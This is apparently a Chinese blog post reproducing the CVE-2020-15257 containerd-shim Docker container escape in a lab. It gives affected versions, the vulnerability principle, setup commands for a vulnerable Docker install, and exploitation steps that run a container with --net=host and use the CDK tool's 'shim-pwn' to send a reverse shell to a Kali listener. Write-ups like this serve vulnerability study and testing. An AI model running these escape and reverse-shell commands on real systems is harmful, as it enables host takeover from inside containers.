CVE-2020-15257 Docker 容器逃逸复现

一、漏洞概述

  Docker 逃逸指在 Docker 容器内部可以操作该容器的外部资源,一般理解为操作宿主机的行为。

  Containerd 是一个工业级标准的容器运行组建,它强调简单性、健壮性和可移植性。Containerd 可以在宿主机中管理完整的容器生命周期:容器镜像的传输和存储、容器的执行和管理、存储和网络等。

 

二、影响版本
  • containerd < 1.4.3
  • containerd < 1.3.9

 

三、漏洞原理

  docker容器以“--net=host”启动会暴露containerd-shim监听的 Unix 域套接字,与宿主机共享net namespace,且其中的unix socket可以被容器内部访问到。攻击者若是通过socket+API控制下游的Runc启动新的镜像,则可以通过该镜像逃逸。详细原理参见大佬文章——https://mp.weixin.qq.com/s/iNziquZJxcox9453jF8LOg

 

四、漏洞复现环境

Kali Linux + Ubuntu
渗透机:Kali Linux 
靶机:Ubuntu

 

五、实验步骤

1.搭建实验环境

  (1)Ubuntu内安装指定版本的docker

sudo apt-get install ca-certificates curl software-properties-common
#
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
#添加 Docker 的官方 GPG 密钥
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
#设置稳定版仓库
sudo apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
#指定docker版本

2.漏洞复现

  (1)下载容器

docker pull ubuntu:18.04

   (2)通过--net=host 作为启动参数来运行一个容器

sudo docker run -itd --net=host ubuntu:18.04 /bin/bash

   (3)查看当前运行中的容器,记下id

docker ps -a

   (4)这里自己搞不定,利用一下github上的Exp:https://github.com/cdk-team/CDK/releases/tag/0.1.6

   (5)将下载好的压缩包解压,然后copy进docker容器

docker cp cdk_linux_amd64 d8b74813546e:/tmp

   (6)kali打开4216端口监听

   (7)容器中运行下面指令执行Exp,可以看到kali中反弹得到shell,逃逸实现成功

./cdk_linux_amd64 run shim-pwn 192.168.117.131 4216

 

  (8)可以看到主机(上)和容器内(下)的socket一致,也证明了漏洞是存在的~

 

六、修复方式

 Docker 官方 commit:https://github.com/containerd/containerd/commit/269548fa27e0089a8b8278fc4fc781d7f65a939b

posted @ 2022-07-15 20:25  wavesky  阅读(1326)  评论(0编辑  收藏  举报